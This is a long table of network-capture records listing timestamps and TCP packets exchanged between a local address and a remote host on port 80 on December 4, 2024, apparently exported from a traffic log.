Dec 4, 2024 15:12:14.669918060 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.673788071 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.673883915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.673939943 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.678389072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.678563118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.678627014 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.682538986 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.682832003 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.682893038 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.686976910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.687072039 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.689747095 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.691720963 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.691808939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.691854954 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.695848942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.695885897 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.695928097 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.700911045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.700930119 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.700974941 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.705640078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.705785036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.705832958 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.709990025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.710066080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.710135937 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.713812113 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.713916063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.713980913 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.717773914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.717863083 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.717916012 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.722163916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.722265005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.722326040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.726506948 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.772367954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.772423983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.772592068 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.774163008 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.774224043 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.774743080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.774848938 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.775032043 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.778290033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.778451920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.778501987 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.781732082 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.781879902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.781939983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.785321951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.785393000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.785440922 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.788801908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.788952112 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.788994074 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.792376041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.792450905 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.792493105 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.795900106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.796096087 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.796144962 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.799381018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.843379974 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.845204115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.845503092 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.845552921 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.846432924 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.846645117 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.846688986 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.848819971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.848903894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.848973989 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.851334095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.851521969 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.851615906 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.853940010 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.854105949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.854178905 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.856167078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.856286049 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.856329918 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.858378887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.858443975 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.858504057 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.860440969 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.860564947 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.860605955 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.862868071 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.862967014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.863014936 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.865341902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.865411043 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.865456104 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.867752075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.867888927 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.867933035 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.870186090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.870299101 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.870348930 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.872709036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.872787952 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.872836113 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.875128031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.875189066 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.875241041 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.877737045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.877862930 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.877904892 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.880029917 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.880086899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.880131960 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.882442951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.882565975 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.882616043 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.884947062 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.885118961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.885160923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.887286901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.887383938 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.887420893 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.889766932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.889832020 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.889940023 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.892291069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.892335892 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.892385006 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.894615889 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.894665956 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.894714117 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.897228003 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.897274971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.897316933 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.899518967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.899557114 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.899605989 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.902010918 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.902111053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.902153015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.904215097 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.904292107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.904339075 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.906119108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.906344891 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.906397104 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.908377886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.908489943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.908546925 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.910162926 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.910270929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.910315037 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.912246943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.959022999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.959142923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.959160089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.960007906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.960053921 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.960083961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.962136030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.962208033 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.963146925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.963301897 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.963346958 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.964998960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.965085030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.965137005 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.967032909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.967087984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.967144966 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.969115019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.969216108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.969264030 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.971206903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.971330881 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.971385002 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.973247051 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.973396063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.973447084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.975344896 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.975518942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.975565910 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.977874041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.977948904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.978002071 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.979929924 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.980020046 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.980081081 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.981623888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.981769085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.981815100 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.983695030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.983798981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.983845949 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.985763073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.985852957 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.985909939 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.036452055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.036596060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.036649942 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.036818981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.036981106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.037031889 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.038208961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.038326979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.038376093 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.039764881 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.039905071 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.039954901 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.040916920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.041148901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.041198969 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.042339087 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.042476892 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.042526007 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.043540955 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.043654919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.043701887 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.044943094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.045047998 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.045097113 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.046235085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.046335936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.046386003 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.047740936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.047753096 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.047797918 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.048973083 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.049088001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.049135923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.050309896 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.050409079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.050470114 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.051712990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.051911116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.052004099 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.053002119 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.053107023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.053152084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.054507017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.054568052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.054610968 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.055682898 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.055809021 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.055856943 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.057091951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.057234049 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.057282925 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.058387041 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.058449030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.058489084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.059720039 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.059945107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.059989929 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.061233044 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.061371088 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.061412096 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.062604904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.062676907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.062721014 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.063746929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.063893080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.063935995 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.065108061 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.065232038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.065275908 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.066466093 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.066580057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.066621065 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.067800045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.067907095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.067956924 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.069144011 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.069243908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.069283962 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.070485115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.070599079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.070641041 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.071867943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.071897030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.071938038 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.073198080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.073355913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.073396921 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.074574947 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.074661970 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.074702978 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.075860977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.075957060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.076004982 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.077239037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.077326059 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.077373028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.078620911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.078701019 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.078746080 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.080014944 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.080121994 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.080173016 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.081258059 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.081342936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.081397057 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.082601070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.082720995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.082762003 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.083940029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.084105968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.084150076 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.085304022 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.085380077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.085428953 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.086790085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.140259027 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.151423931 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.151782990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.151866913 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.152023077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.152093887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.152164936 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.153165102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.153286934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.153341055 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.154485941 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.154520035 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.154567003 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.155639887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.155813932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.155855894 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.156908989 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.157073021 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.157119989 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.158207893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.158358097 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.158412933 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.159347057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.159369946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.159420013 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.160527945 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.160599947 CET	80	49717	45.200.148.86	192.168.2.11
